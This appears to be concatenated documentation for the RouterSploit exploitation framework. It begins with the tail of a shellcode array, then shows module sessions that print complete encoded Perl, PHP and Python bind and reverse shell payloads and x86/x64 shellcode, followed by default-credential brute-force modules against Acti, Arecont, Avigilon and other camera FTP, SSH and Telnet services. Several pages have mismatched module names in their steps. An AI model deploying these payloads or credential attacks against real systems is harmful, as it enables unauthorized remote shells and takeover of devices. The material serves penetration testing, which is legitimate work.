    "\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20"
    "\x80\x01\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27"
    "\x20\x80\x01\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24"
    "\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09"
    "\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x10\xe1\x05\x3c\x02\x00"
    "\xa5\x34\xf8\xff\xa5\xaf\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc"
    "\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01"
    "\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08"
    "\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff"
    "\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec"
    "\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23"
    "\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09"
    "\x01"
)

Modules Payloads Perl Bind Tcp (`docs/modules/payloads/perl/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using perl.

Verification Steps

Start ./rsf.py
Do: use payloads/perl/bind_tcp
Do: set rport 4321
Do: run
Module generates perl tcp bind shell payload

Scenarios

text

rsf > use payloads/perl/bind_tcp
rsf (Perl Bind TCP) > set rport 4321
[+] rport => 4321
rsf (Perl Bind TCP) > run
[*] Running module...
[*] Generating payload
use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));

Modules Payloads Perl Reverse Tcp (`docs/modules/payloads/perl/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using perl.

Verification Steps

Start ./rsf.py
Do: use payloads/perl/reverse_tcp
Do: set lhost 192.168.1.3
Do: set lport 4321
Do: run
Module generates perl tcp reverse shell payload

Scenarios

text

rsf > use payloads/perl/reverse_tcp
rsf (Perl Reverse TCP) > set lhost 192.168.1.3
[+] lhost => 192.168.1.3
rsf (Perl Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (Perl Reverse TCP) > run
[*] Running module...
[*] Generating payload
use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxOTIuMTY4LjEuMzo0MzIxIik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3doaWxlKDw+KXtpZigkXz1+IC8oLiopLyl7c3lzdGVtICQxO319Ow=='))

Modules Payloads Php Bind Tcp (`docs/modules/payloads/php/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using php.

Verification Steps

Start ./rsf.py
Do: use payloads/php/bind_tcp
Do: set rport 4321
Do: run
Module generates php tcp bind shell payload

Scenarios

text

rsf > use payloads/php/bind_tcp
rsf (PHP Bind TCP) > set rport 4321
[+] rport => 4321
rsf (PHP Bind TCP) > run
[*] Running module...
[*] Generating payload
eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));

Modules Payloads Php Reverse Tcp (`docs/modules/payloads/php/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using php.

Verification Steps

Start ./rsf.py
Do: use payloads/php/reverse_udp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates php tcp reverse shell payload

Scenarios

text

rsf > use payloads/php/reverse_tcp
rsf (PHP Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (PHP Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (PHP Reverse TCP) > run
[*] Running module...
[*] Generating payload
eval(base64_decode('JHM9ZnNvY2tvcGVuKCJ0Y3A6Ly8xOTIuMTY4LjEuNCIsNDMyMSk7d2hpbGUoIWZlb2YoJHMpKXtleGVjKGZnZXRzKCRzKSwkbyk7JG89aW1wbG9kZSgiXG4iLCRvKTskby49IlxuIjtmcHV0cygkcywkbyk7fQ=='));

Modules Payloads Python Bind Tcp (`docs/modules/payloads/python/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell by using python.

Verification Steps

Start ./rsf.py
Do: use payloads/python/bind_tcp
Do: set rport 4321
Do: run
Module generates python tcp bind shell payload

Scenarios

text

rsf > use payloads/python/bind_tcp
rsf (Python Bind TCP) > set rport 4321
[+] rport => 4321
rsf (Python Bind TCP) > run
[*] Running module...
[*] Generating payload
exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uYmluZCgoJzAuMC4wLjAnLDQzMjEpKQpzby5saXN0ZW4oMSkKc28sYWRkcj1zby5hY2NlcHQoKQp4PUZhbHNlCndoaWxlIG5vdCB4OgoJZGF0YT1zby5yZWN2KDEwMjQpCglzdGRpbixzdGRvdXQsc3RkZXJyLD1vcy5wb3BlbjMoZGF0YSkKCXN0ZG91dF92YWx1ZT1zdGRvdXQucmVhZCgpK3N0ZGVyci5yZWFkKCkKCXNvLnNlbmQoc3Rkb3V0X3ZhbHVlKQo='.decode('base64'))

Modules Payloads Python Bind Udp (`docs/modules/payloads/python/bind_udp.md`)

Description

Module generates payload that creates interactive udp bind shell by using python.

Verification Steps

Start ./rsf.py
Do: use payloads/python/bind_udp
Do: set rport 4321
Do: run
Module generates python udp bind shell payload

Scenarios

text

rsf > use payloads/python/bind_udp
rsf (Python Bind UDP) > set rport 4321
[+] rport => 4321
rsf (Python Bind UDP) > run
[*] Running module...
[*] Generating payload
exec('ZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBQb3BlbixQSVBFCmZyb20gc29ja2V0IGltcG9ydCBzb2NrZXQsIEFGX0lORVQsIFNPQ0tfREdSQU0Kcz1zb2NrZXQoQUZfSU5FVCxTT0NLX0RHUkFNKQpzLmJpbmQoKCcwLjAuMC4wJyw0MzIxKSkKd2hpbGUgMToKCWRhdGEsYWRkcj1zLnJlY3Zmcm9tKDEwMjQpCglvdXQ9UG9wZW4oZGF0YSxzaGVsbD1UcnVlLHN0ZG91dD1QSVBFLHN0ZGVycj1QSVBFKS5jb21tdW5pY2F0ZSgpCglzLnNlbmR0bygnJy5qb2luKFtvdXRbMF0sb3V0WzFdXSksYWRkcikK'.decode('base64'))

Modules Payloads Python Reverse Tcp (`docs/modules/payloads/python/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell by using python.

Verification Steps

Start ./rsf.py
Do: use payloads/python/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates python tcp reverse shell payload

Scenarios

text

rsf > use payloads/python/reverse_tcp
rsf (Python Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Python Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (Python Reverse TCP) > run
[*] Running module...
[*] Generating payload
exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJzE5Mi4xNjguMS40Jyw0MzIxKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk='.decode('base64'))

Modules Payloads Python Reverse Udp (`docs/modules/payloads/python/reverse_udp.md`)

Description

Module generates payload that creates interactive udp reverse shell by using python.

Verification Steps

Start ./rsf.py
Do: use payloads/python/reverse_udp
Do: set lhost 192.168.1.4
Do: set lport 4321
Do: run
Module generates python udp reverse shell payload

Scenarios

text

rsf > use payloads/python/reverse_udp
rsf (Python Reverse UDP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (Python Reverse UDP) > set lport 4321
[+] lport => 4321
rsf (Python Reverse UDP) > run
[*] Running module...
[*] Generating payload
exec('aW1wb3J0IG9zCmltcG9ydCBwdHkKaW1wb3J0IHNvY2tldApzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX0RHUkFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjEuNCcsNDMyMSkpCm9zLmR1cDIocy5maWxlbm8oKSwgMCkKb3MuZHVwMihzLmZpbGVubygpLCAxKQpvcy5kdXAyKHMuZmlsZW5vKCksIDIpCnB0eS5zcGF3bignL2Jpbi9zaCcpOwpzLmNsb3NlKCkK'.decode('base64'))

Modules Payloads X64 Bind Tcp (`docs/modules/payloads/x64/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell for X64 architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/x64/bind_tcp
Do: set rport 4321
Do: run
Module generates x64 bind shell tcp payload

Scenarios

text

rsf > use payloads/x64/bind_tcp
rsf (X64 Bind TCP) > set rport 4321
[+] rport => 4321
rsf (X64 Bind TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
    "\xc7\x04\x24\x02\x00\x10\xe1\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
    "\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
    "\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
    "\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    "\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
)

Modules Payloads X64 Reverse Tcp (`docs/modules/payloads/x64/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell for X64 architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/x64/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Module generates x64 reverse shell tcp payload

Scenarios

text

rsf > use payloads/x64/reverse_tcp
rsf (X64 Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (X64 Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (X64 Reverse TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
    "\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
    "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
    "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
    "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
)

Modules Payloads X86 Bind Tcp (`docs/modules/payloads/x86/bind_tcp.md`)

Description

Module generates payload that creates interactive tcp bind shell for X86 architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/x86/bind_tcp
Do: set rport 4321
Do: run
Module generates x86 bind shell tcp payload

Scenarios

text

rsf > use payloads/x86/bind_tcp
rsf (X86 Bind TCP) > set rport 4321
[+] rport => 4321
rsf (X86 Bind TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    "\x5b\x5e\x52\x68\x02\x00\x10\xe1\x6a\x10\x51\x50\x89\xe1\x6a"
    "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
    "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
    "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
    "\x0b\xcd\x80"
)

Modules Payloads X86 Reverse Tcp (`docs/modules/payloads/x86/reverse_tcp.md`)

Description

Module generates payload that creates interactive tcp reverse shell for X86 architecture.

Verification Steps

Start ./rsf.py
Do: use payloads/x86/reverse_tcp
Do: set lhost 192.168.1.4
Do: set lport 4321
Module generates x86 reverse shell tcp payload

Scenarios

text

rsf > use payloads/x86/reverse_tcp
rsf (X86 Reverse TCP) > set lhost 192.168.1.4
[+] lhost => 192.168.1.4
rsf (X86 Reverse TCP) > set lport 4321
[+] lport => 4321
rsf (X86 Reverse TCP) > run
[*] Running module...
[*] Generating payload
[+] Building payload for python
payload = (
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68"
    "\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
    "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
    "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
)

Modules Creds Cameras Acti Ftp Default Creds (`docs/modules/creds/cameras/acti/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Acti Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/acti/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/acti/ftp_default_creds
rsf (Acti Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Acti Ssh Default Creds (`docs/modules/creds/cameras/acti/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Acti Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/acti/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/acti/ssh_default_creds
rsf (Acti Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Acti Telnet Default Creds (`docs/modules/creds/cameras/acti/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Acti Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/acti/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/acti/telnet_default_creds
rsf (Acti Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Acti Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras American Dynamics Ftp Default Creds (`docs/modules/creds/cameras/american_dynamics/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against American Dynamics Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/american_dynamics/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/american_dynamics/ftp_default_creds
rsf (American Dynamics Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras American Dynamics Ssh Default Creds (`docs/modules/creds/cameras/american_dynamics/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against American Dynamics Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/american_dynamics/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/american_dynamics/ssh_default_creds
rsf (American Dynamics Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras American Dynamics Telnet Default Creds (`docs/modules/creds/cameras/american_dynamics/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against American Dynamics Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/american_dynamics/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/american_dynamics/telnet_default_creds
rsf (American Dynamics Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (American Dynamics Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Arecont Ftp Default Creds (`docs/modules/creds/cameras/arecont/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Arecont Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/arecont/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/arecont/ftp_default_creds
rsf (Arecont Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Arecont Ssh Default Creds (`docs/modules/creds/cameras/arecont/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Arecont Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/arecont/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/arecont/ssh_default_creds
rsf (Arecont Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Arecont Telnet Default Creds (`docs/modules/creds/cameras/arecont/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Arecont Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/arecont/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/arecont/telnet_default_creds
rsf (Arecont Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Arecont Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Avigilon Ftp Default Creds (`docs/modules/creds/cameras/avigilon/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avigilon Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avigilon/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avigilon/ftp_default_creds
rsf (Avigilon Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Cameras Avigilon Ssh Default Creds (`docs/modules/creds/cameras/avigilon/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avigilon Camera SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avigilon/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avigilon/ssh_default_creds
rsf (Avigilon Camera Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Cameras Avigilon Telnet Default Creds (`docs/modules/creds/cameras/avigilon/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avigilon Camera Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avigilon/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avigilon/telnet_default_creds
rsf (Avigilon Camera Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avigilon Camera Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Cameras Avtech Ftp Default Creds (`docs/modules/creds/cameras/avtech/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Avtech Camera FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/cameras/avtech/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/cameras/avtech/ftp_default_creds
rsf (Avtech Camera Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Avtech Camera Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
